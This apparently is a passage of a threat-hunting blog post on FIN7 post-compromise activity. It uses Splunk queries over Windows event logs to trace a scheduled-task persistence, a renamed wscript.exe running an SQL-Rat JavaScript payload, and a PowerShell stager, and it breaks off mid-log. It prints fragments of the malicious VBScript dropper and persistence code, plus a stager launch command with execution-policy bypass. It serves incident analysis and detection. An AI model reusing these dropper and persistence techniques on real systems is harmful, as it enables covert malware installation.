&lt;li>PowerShell script executions including repeated stagers&lt;/li>
&lt;li>Reconstruction of the staged PowerShell from events (4104) and file hashing for IOC tracking&lt;/li>
&lt;/ul>
&lt;h3 id="interpretation-of-the-decoded-script-from-initial-access-recap">Interpretation of the Decoded Script from Initial Access (Recap)&lt;/h3>
&lt;p>what we have got here is essentially a decoded RTF payload that was obfuscated using &lt;code>\chr&lt;/code> encoding. Once decoded, it reveals a malicious VBScript designed to drop and persist a RAT (remote access trojan). Lets break down the key points :&lt;/p></description><content type="html"><![CDATA[<p><img src="/images/FIN7_Blog_post2.png" alt="FIN7 - Post Compromise Execution"></p>
<h3 id="introduction">Introduction</h3>
<p>In Part 2, we pivot from initial access to what happened next. Using Windows event logs and PowerShell Operational logs in Splunk, we reconstructed FIN7’s execution chain after persistence via a scheduled task, validated key artifacts, and built practical detections you can run.</p>
<h3 id="what-we-investigated">What we investigated</h3>
<ul>
<li>Scheduled Task execution timing and payload</li>
<li>Process tree spawned by the persisted loader</li>
<li>PowerShell script executions including repeated stagers</li>
<li>Reconstruction of the staged PowerShell from events (4104) and file hashing for IOC tracking</li>
</ul>
<h3 id="interpretation-of-the-decoded-script-from-initial-access-recap">Interpretation of the Decoded Script from Initial Access (Recap)</h3>
<p>what we have got here is essentially a decoded RTF payload that was obfuscated using <code>\chr</code> encoding. Once decoded, it reveals a malicious VBScript designed to drop and persist a RAT (remote access trojan). Lets break down the key points :</p>
<ol>
<li>Initial Setup</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Dim cntent1, contnt2
</span></span><span style="display:flex;"><span>Dim oFSO, wshShel
</span></span><span style="display:flex;"><span>Set wshShel <span style="color:#f92672">=</span> CreateObject<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;Wscript.Shell&#34;</span><span style="color:#f92672">)</span>
</span></span></code></pre></div><ul>
<li>The script initializes objects for file system operations and Windows shell execution.</li>
<li>This is a common start for malware written in VBScript.</li>
</ul>
<ol start="2">
<li>Extracting Payload from Word Document</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>contnt1 <span style="color:#f92672">=</span> w.ActiveDocument.Shapes<span style="color:#f92672">(</span>4<span style="color:#f92672">)</span>.TextFrame.TextRange.Text
</span></span><span style="display:flex;"><span>content <span style="color:#f92672">=</span> w.ActiveDocument.Shapes<span style="color:#f92672">(</span>5<span style="color:#f92672">)</span>.TextFrame.TextRange.Text
</span></span></code></pre></div><ul>
<li>The malicious payload hides its real code inside Word document shapes.</li>
<li>The script reads text content from shape objects — a stealthy way to embed payload data inside a seemingly normal RTF/Word file.</li>
</ul>
<ol start="3">
<li>Dropping the RAT File</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>outFile <span style="color:#f92672">=</span> strLocalAppData + <span style="color:#e6db74">&#34;sql-rat.js&#34;</span>
</span></span><span style="display:flex;"><span>Set objFile <span style="color:#f92672">=</span> oFSO.CreateTextFile<span style="color:#f92672">(</span>outFile, True<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>objFile.WriteLine content1
</span></span><span style="display:flex;"><span>objFile.WriteLine content2
</span></span><span style="display:flex;"><span>objFile.Close
</span></span></code></pre></div><ul>
<li>The extracted payload (content1 + content2) is written to disk as sql-rat.js in the %LOCALAPPDATA% folder.</li>
<li>This is the actual JavaScript RAT backdoor.</li>
</ul>
<ol start="4">
<li>Copying &amp; Masquerading as a System Binary</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>oFSO2.CopyFile <span style="color:#e6db74">&#34;C:\Windows\System32\wscript.exe&#34;</span>, strLocalAppData + <span style="color:#e6db74">&#34;adb156.exe&#34;</span>
</span></span></code></pre></div><ul>
<li>Copies the legitimate wscript.exe binary into the local appdata directory but under a new name (adb156.exe).</li>
<li>Likely used to bypass security controls or run the RAT with trusted binary masquerading.</li>
</ul>
<ol start="5">
<li>Persistence via Scheduled Task</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Set service <span style="color:#f92672">=</span> CreateObject<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;Schedule.Service&#34;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>service.Connect<span style="color:#f92672">()</span>
</span></span><span style="display:flex;"><span>Set rootFolder <span style="color:#f92672">=</span> service.GetFolder<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;\&#34;)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Set taskDefinition = service.NewTask(0)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">...
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Call rootFolder.RegisterTaskDefinition(&#34;</span>Micriosoft Update Service<span style="color:#e6db74">&#34;, taskDefinition, 6, , 3)
</span></span></span></code></pre></div><ul>
<li>Creates a scheduled task disguised as “Micriosoft Update Service”.</li>
<li>The task is set to run daily, starting a few minutes after infection, ensuring persistence.</li>
<li>The scheduled action runs the dropped adb156.exe with the sql-rat.js file as input.</li>
</ul>
<h3 id="sql-rat">SQL-Rat</h3>
<p>SQL-Rat is a Microsoft SQL-based command and control (C2) remote access trojan (RAT). Due to its novel approach, it avoids leaving traditional host artifacts often associated with RATs. SQL-Rat is usually deployed as a result of a Visual Basic Script (VBScript) in a malicious document. The client is written in a mixture of JavaScript and VBScript, often executed via a scheduled task.</p>
<blockquote>
<p>FIN7 was observed deploying this strain of malware as early as 2018 and continued to use it for a period of time.</p>
</blockquote>
<h3 id="post-compromise-findings-from-event-log-splunk">Post-Compromise Findings from Event Log (Splunk)</h3>
<p>This Splunk log ties the decoded payload to real host execution.</p>
<ul>
<li>To Find the task creation and definition details we used the splunk query below:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">index</span><span style="color:#f92672">=</span>wineventlog (EventCode<span style="color:#f92672">=</span><span style="color:#ae81ff">4698</span> <span style="color:#66d9ef">OR</span> process_command_line<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;*Schedule.Service*&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> <span style="color:#66d9ef">table</span> _time ComputerName TaskName Command Author Description
</span></span></code></pre></div><ul>
<li>Command output</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Task Information: 
</span></span><span style="display:flex;"><span>Task Name: <span style="color:#ae81ff">\M</span>icriosoft Update Service 
</span></span><span style="display:flex;"><span>Task Content: &lt;?xml version<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;1.0&#34;</span> encoding<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;UTF-16&#34;</span>?&gt; 
</span></span><span style="display:flex;"><span>&lt;Task version<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;1.2&#34;</span> xmlns<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;http://schemas.microsoft.com/windows/2004/02/mit/task&#34;</span>&gt; 
</span></span><span style="display:flex;"><span>  &lt;RegistrationInfo&gt; 
</span></span><span style="display:flex;"><span>    &lt;Author&gt;system&lt;/Author&gt; 
</span></span><span style="display:flex;"><span>    &lt;Description&gt;Micriosoft Update Service&lt;/Description&gt; 
</span></span><span style="display:flex;"><span>    &lt;URI&gt;<span style="color:#ae81ff">\M</span>icriosoft Update Service&lt;/URI&gt;
</span></span><span style="display:flex;"><span>  &lt;/RegistrationInfo&gt; 
</span></span><span style="display:flex;"><span>  &lt;Triggers&gt; 
</span></span><span style="display:flex;"><span>    &lt;CalendarTrigger id<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;DailyTriggerId&#34;</span>&gt; 
</span></span><span style="display:flex;"><span>      &lt;StartBoundary&gt;2021-07-13T17:23:35&lt;/StartBoundary&gt; 
</span></span><span style="display:flex;"><span>      &lt;EndBoundary&gt;2024-04-18T09:10:00&lt;/EndBoundary&gt; 
</span></span><span style="display:flex;"><span>      &lt;Enabled&gt;true&lt;/Enabled&gt; 
</span></span><span style="display:flex;"><span>      &lt;ScheduleByDay&gt; 
</span></span><span style="display:flex;"><span>        &lt;DaysInterval&gt;1&lt;/DaysInterval&gt; 
</span></span><span style="display:flex;"><span>      &lt;/ScheduleByDay&gt; 
</span></span><span style="display:flex;"><span>    &lt;/CalendarTrigger&gt;
</span></span><span style="display:flex;"><span>  &lt;/Triggers&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;Actions Context<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Author&#34;</span>&gt; 
</span></span><span style="display:flex;"><span>  &lt;Exec&gt; 
</span></span><span style="display:flex;"><span>    &lt;Command&gt;C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\j</span>essie<span style="color:#ae81ff">\A</span>ppData<span style="color:#ae81ff">\L</span>ocal<span style="color:#ae81ff">\a</span>db156.exe&lt;/Command&gt; 
</span></span><span style="display:flex;"><span>    &lt;Arguments&gt;/b /e:jscript C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\j</span>essie<span style="color:#ae81ff">\A</span>ppData<span style="color:#ae81ff">\L</span>ocal<span style="color:#ae81ff">\s</span>ql-rat.js&lt;/Arguments&gt; 
</span></span><span style="display:flex;"><span>  &lt;/Exec&gt; 
</span></span><span style="display:flex;"><span>&lt;/Actions&gt;
</span></span></code></pre></div><p>From the Windows Security Event 4698 (scheduled task creation), we can extract the following details:</p>
<ol>
<li>Scheduled Task Name</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#ae81ff">\M</span>icriosoft Update Service
</span></span></code></pre></div><ul>
<li>The typo in “Micriosoft” a classic masquerading technique used to blend in with legitimate Microsoft services.</li>
</ul>
<ol start="2">
<li>Scheduled Task Run Time</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>&lt;StartBoundary&gt;2021-07-13T17:23:35&lt;/StartBoundary&gt;
</span></span><span style="display:flex;"><span>&lt;DaysInterval&gt;1&lt;/DaysInterval&gt;
</span></span></code></pre></div><ul>
<li>The task was set to first execute at 17:23:35 (5:23 PM) on July 13, 2021, and then repeat daily.</li>
<li>This aligns with the decoded script’s persistence logic (delayed by ~5 minutes from infection time).</li>
</ul>
<ol start="3">
<li>Executable Run by the Scheduled Task</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\j</span>essie<span style="color:#ae81ff">\A</span>ppData<span style="color:#ae81ff">\L</span>ocal<span style="color:#ae81ff">\a</span>db156.exe
</span></span><span style="display:flex;"><span>Arguments: /b /e:jscript C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\j</span>essie<span style="color:#ae81ff">\A</span>ppData<span style="color:#ae81ff">\L</span>ocal<span style="color:#ae81ff">\s</span>ql-rat.js
</span></span></code></pre></div><ul>
<li>The scheduled task runs a renamed copy of wscript.exe (adb156.exe), pointing it to the dropped JavaScript RAT payload sql-rat.js.</li>
<li>This confirms persistence + RAT execution on the compromised endpoint.</li>
</ul>
<h3 id="post-compromise-process-execution-analysis-splunk">Post-Compromise Process Execution Analysis (Splunk)</h3>
<p>Here we are correlating the persistence (scheduled task creation) with actual process execution. Let’s break this Event ID 4688 (process creation) down into actionable intelligence.</p>
<ul>
<li>Splunk query used:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>index<span style="color:#f92672">=</span>wineventlog <span style="color:#f92672">(</span>EventCode<span style="color:#f92672">=</span><span style="color:#ae81ff">4688</span> OR EventCode<span style="color:#f92672">=</span>1<span style="color:#f92672">)</span> <span style="color:#e6db74">&#34;adb156.exe&#34;</span> 
</span></span><span style="display:flex;"><span>New_Process_Name<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;C:\\Users\\jessie\\AppData\\Local\\adb156.exe&#34;</span>
</span></span></code></pre></div><ul>
<li>Output result</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Process Information:
</span></span><span style="display:flex;"><span>	New Process ID:		0x1318
</span></span><span style="display:flex;"><span>	New Process Name:	C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\j</span>essie<span style="color:#ae81ff">\A</span>ppData<span style="color:#ae81ff">\L</span>ocal<span style="color:#ae81ff">\a</span>db156.exe
</span></span><span style="display:flex;"><span>	Token Elevation Type:	%%1936
</span></span><span style="display:flex;"><span>	Mandatory Label:		S-1-16-12288
</span></span><span style="display:flex;"><span>	Creator Process ID:	0x704
</span></span><span style="display:flex;"><span>	Creator Process Name:	C:<span style="color:#ae81ff">\W</span>indows<span style="color:#ae81ff">\S</span>ystem32<span style="color:#ae81ff">\s</span>vchost.exe
</span></span><span style="display:flex;"><span>	Process Command Line:	C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\j</span>essie<span style="color:#ae81ff">\A</span>ppData<span style="color:#ae81ff">\L</span>ocal<span style="color:#ae81ff">\a</span>db156.exe /b /e:jscript C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\j</span>essie<span style="color:#ae81ff">\A</span>ppData<span style="color:#ae81ff">\L</span>ocal<span style="color:#ae81ff">\s</span>ql-rat.js
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Type <span style="color:#ae81ff">1</span> is a full token with no privileges removed or groups disabled.  A full token is only used <span style="color:#66d9ef">if</span> User Account Control is disabled or <span style="color:#66d9ef">if</span> the user is the built-in Administrator account or a service account.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Type <span style="color:#ae81ff">2</span> is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Type <span style="color:#ae81ff">3</span> is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
</span></span></code></pre></div><ol>
<li>Process Created</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>New Process Name: C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\j</span>essie<span style="color:#ae81ff">\A</span>ppData<span style="color:#ae81ff">\L</span>ocal<span style="color:#ae81ff">\a</span>db156.exe
</span></span><span style="display:flex;"><span>Process Command Line: C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\j</span>essie<span style="color:#ae81ff">\A</span>ppData<span style="color:#ae81ff">\L</span>ocal<span style="color:#ae81ff">\a</span>db156.exe /b /e:jscript C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\j</span>essie<span style="color:#ae81ff">\A</span>ppData<span style="color:#ae81ff">\L</span>ocal<span style="color:#ae81ff">\s</span>ql-rat.js
</span></span></code></pre></div><ul>
<li>Confirms execution of the renamed wscript.exe (adb156.exe).</li>
<li>Arguments show it is running the JavaScript RAT (sql-rat.js) payload.</li>
<li>This matches perfectly with the decoded script and scheduled task configuration.</li>
</ul>
<ol start="2">
<li>Execution Context</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Creator Process Name: C:<span style="color:#ae81ff">\W</span>indows<span style="color:#ae81ff">\S</span>ystem32<span style="color:#ae81ff">\s</span>vchost.exe
</span></span><span style="display:flex;"><span>Creator Process ID: 0x704
</span></span></code></pre></div><ul>
<li>The process was launched by svchost.exe, which is consistent with execution via a scheduled task service.</li>
<li>Indicates the malware was not manually run by the user, but automatically executed through Windows Task Scheduler.</li>
</ul>
<ol start="3">
<li>Security Context</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Mandatory Label: S-1-16-12288 <span style="color:#f92672">(</span>High Mandatory Level<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Token Elevation Type: %%1936
</span></span></code></pre></div><ul>
<li>High Mandatory Level (12288) suggests it was executed with elevated privileges.</li>
<li>Token elevation type points to Type 2: elevated token (process running with admin rights due to UAC elevation or service execution).</li>
<li>This gave the RAT higher privileges on the host, increasing its ability to persist and evade.</li>
</ul>
<h3 id="powershell-child-process-activity-splunk">PowerShell Child Process Activity (Splunk)</h3>
<p>Now we’re getting into the post-exploitation stage, where the attacker is trying to expand control. The Event ID 4688 (process creation) shows how the dropped RAT (adb156.exe) attempts to execute PowerShell payloads.</p>
<ul>
<li>Splunk query used:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>index<span style="color:#f92672">=</span>wineventlog EventCode<span style="color:#f92672">=</span><span style="color:#ae81ff">4688</span> Creator_Process_ID<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;0x1318&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span> New_Process_Name<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;*\\powershell.exe&#34;</span> OR New_Process_Name<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;*\\pwsh.exe&#34;</span>
</span></span><span style="display:flex;"><span>  OR Process_Command_Line<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;*powershell*&#34;</span> OR Process_Command_Line<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;*.ps1&#34;</span> <span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| stats dc<span style="color:#f92672">(</span>New_Process_ID<span style="color:#f92672">)</span> AS PowerShellAttempts
</span></span></code></pre></div><p>This query pivoted on the Creator_Process_ID 0x1318, which we previously identified as adb156.exe (the renamed wscript.exe RAT).
It shows the RAT spawned child processes that invoked PowerShell, an indicator of scripted post-exploitation activity.</p>
<ul>
<li>Output result:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Process Information:
</span></span><span style="display:flex;"><span>	New Process ID:		0x11ec
</span></span><span style="display:flex;"><span>	New Process Name:	C:<span style="color:#ae81ff">\W</span>indows<span style="color:#ae81ff">\S</span>ystem32<span style="color:#ae81ff">\c</span>md.exe
</span></span><span style="display:flex;"><span>	Token Elevation Type:	%%1936
</span></span><span style="display:flex;"><span>	Mandatory Label:		S-1-16-12288
</span></span><span style="display:flex;"><span>	Creator Process ID:	0x1318
</span></span><span style="display:flex;"><span>	Creator Process Name:	C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\j</span>essie<span style="color:#ae81ff">\A</span>ppData<span style="color:#ae81ff">\L</span>ocal<span style="color:#ae81ff">\a</span>db156.exe
</span></span><span style="display:flex;"><span>	Process Command Line:	<span style="color:#e6db74">&#34;C:\Windows\system32\cmd.exe&#34;</span> /C powershell.exe -ExecutionPolicy Bypass -NoExit -File  c:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\J</span>essie<span style="color:#ae81ff">\A</span>ppData<span style="color:#ae81ff">\L</span>ocal<span style="color:#ae81ff">\s</span>tager.ps1 &gt; C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\j</span>essie<span style="color:#ae81ff">\A</span>ppData<span style="color:#ae81ff">\L</span>ocal<span style="color:#ae81ff">\T</span>emp<span style="color:#ae81ff">\r</span>ad3CFC9.tmp 2&gt;&amp;<span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Type <span style="color:#ae81ff">1</span> is a full token with no privileges removed or groups disabled.  A full token is only used <span style="color:#66d9ef">if</span> User Account Control is disabled or <span style="color:#66d9ef">if</span> the user is the built-in Administrator account or a service account.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Type <span style="color:#ae81ff">2</span> is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Type <span style="color:#ae81ff">3</span> is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
</span></span></code></pre></div><ol>
<li>Parent Process</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Creator Process ID: 0x1318
</span></span><span style="display:flex;"><span>Creator Process Name: C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\j</span>essie<span style="color:#ae81ff">\A</span>ppData<span style="color:#ae81ff">\L</span>ocal<span style="color:#ae81ff">\a</span>db156.exe
</span></span></code></pre></div><ul>
<li>Confirms that the PowerShell activity originated from the RAT process.</li>
<li>Shows a direct lineage from the malicious scheduled task to PowerShell execution.</li>
</ul>
<ol start="2">
<li>Child Process</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>New Process Name: C:<span style="color:#ae81ff">\W</span>indows<span style="color:#ae81ff">\S</span>ystem32<span style="color:#ae81ff">\c</span>md.exe
</span></span><span style="display:flex;"><span>Process Command Line: <span style="color:#e6db74">&#34;C:\Windows\system32\cmd.exe&#34;</span> /C powershell.exe -ExecutionPolicy Bypass -NoExit -File c:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\J</span>essie<span style="color:#ae81ff">\A</span>ppData<span style="color:#ae81ff">\L</span>ocal<span style="color:#ae81ff">\s</span>tager.ps1 &gt; C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\j</span>essie<span style="color:#ae81ff">\A</span>ppData<span style="color:#ae81ff">\L</span>ocal<span style="color:#ae81ff">\T</span>emp<span style="color:#ae81ff">\r</span>ad3CFC9.tmp 2&gt;&amp;<span style="color:#ae81ff">1</span>
</span></span></code></pre></div><ul>
<li>The RAT used <code>cmd.exe</code> as an intermediary launcher to execute PowerShell.</li>
<li>PowerShell ran with:
<ul>
<li><code>-ExecutionPolicy Bypass</code> → disables script execution restrictions.</li>
<li><code>-File c:\Users\jessie\AppData\Local\stager.ps1</code> → runs a local stager script.</li>
<li>Output redirected to <code>Temp\rad3CFC9.tmp</code> for logging/error suppression.
This indicates the RAT was likely retrieving or staging additional payloads via PowerShell.</li>
</ul>
</li>
</ul>
<ol start="3">
<li>Execution Context</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Token Elevation Type: %%1936
</span></span><span style="display:flex;"><span>Mandatory Label: S-1-16-12288 <span style="color:#f92672">(</span>High Mandatory Level<span style="color:#f92672">)</span>
</span></span></code></pre></div><ul>
<li>Runs at a high integrity level with elevated privileges.</li>
<li>Confirms the RAT has administrative-level execution on the system.</li>
</ul>
<h3 id="rebuilding-the-powershell-stager-script-splunk">Rebuilding the PowerShell Stager Script (Splunk)</h3>
<p>We pivoted to PowerShell Operational logs (EventCode 4104) to capture script block logging events. These logs revealed that the malicious PowerShell stager executed on the host was split across three separate script block entries.</p>
<ul>
<li>Splunk query used:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>index<span style="color:#f92672">=</span>wineventlog source<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;WinEventLog:Microsoft-Windows-PowerShell/Operational&#34;</span> EventCode<span style="color:#f92672">=</span><span style="color:#ae81ff">4104</span>
</span></span></code></pre></div><p>This query pulled all script block logging events for review.</p>
<ul>
<li>Output result script block 1:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>7/14/21
</span></span><span style="display:flex;"><span>8:41:53.000 AM	
</span></span><span style="display:flex;"><span>07/14/2021 01:41:53 AM
</span></span><span style="display:flex;"><span>LogName<span style="color:#f92672">=</span>Microsoft-Windows-PowerShell/Operational
</span></span><span style="display:flex;"><span>EventCode<span style="color:#f92672">=</span><span style="color:#ae81ff">4104</span>
</span></span><span style="display:flex;"><span>EventType<span style="color:#f92672">=</span><span style="color:#ae81ff">3</span>
</span></span><span style="display:flex;"><span>User<span style="color:#f92672">=</span>NOT_TRANSLATED
</span></span><span style="display:flex;"><span>Sid<span style="color:#f92672">=</span>S-1-5-21-1598541164-267006594-3813999592-1154
</span></span><span style="display:flex;"><span>SidType<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>SourceName<span style="color:#f92672">=</span>Microsoft-Windows-PowerShell
</span></span><span style="display:flex;"><span>Type<span style="color:#f92672">=</span>Warning
</span></span><span style="display:flex;"><span>RecordNumber<span style="color:#f92672">=</span><span style="color:#ae81ff">8534</span>
</span></span><span style="display:flex;"><span>Keywords<span style="color:#f92672">=</span>None
</span></span><span style="display:flex;"><span>TaskCategory<span style="color:#f92672">=</span>Execute a Remote Command
</span></span><span style="display:flex;"><span>OpCode<span style="color:#f92672">=</span>On create calls
</span></span><span style="display:flex;"><span>Message<span style="color:#f92672">=</span>Creating Scriptblock text <span style="color:#f92672">(</span><span style="color:#ae81ff">1</span> of 3<span style="color:#f92672">)</span>:
</span></span><span style="display:flex;"><span>$EncodedCompressedFile <span style="color:#f92672">=</span> @<span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>7b1pk+LKcjD83RH3P5y4cT/Y0ddusfXAfcMRT5U2JJCgBBJIDn8AAQIklmmgBfz6N7&lt;SNIP&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ScriptBlock ID: 21582107-1a53-41ba-9a55-a11cf70fce1b
</span></span><span style="display:flex;"><span>Path: C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\J</span>essie<span style="color:#ae81ff">\A</span>ppData<span style="color:#ae81ff">\L</span>ocal<span style="color:#ae81ff">\s</span>tager.ps1
</span></span></code></pre></div><ul>
<li>Output result script block 2:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>7/14/21
</span></span><span style="display:flex;"><span>8:41:53.000 AM	
</span></span><span style="display:flex;"><span>07/14/2021 01:41:53 AM
</span></span><span style="display:flex;"><span>LogName<span style="color:#f92672">=</span>Microsoft-Windows-PowerShell/Operational
</span></span><span style="display:flex;"><span>EventCode<span style="color:#f92672">=</span><span style="color:#ae81ff">4104</span>
</span></span><span style="display:flex;"><span>EventType<span style="color:#f92672">=</span><span style="color:#ae81ff">3</span>
</span></span><span style="display:flex;"><span>User<span style="color:#f92672">=</span>NOT_TRANSLATED
</span></span><span style="display:flex;"><span>Sid<span style="color:#f92672">=</span>S-1-5-21-1598541164-267006594-3813999592-1154
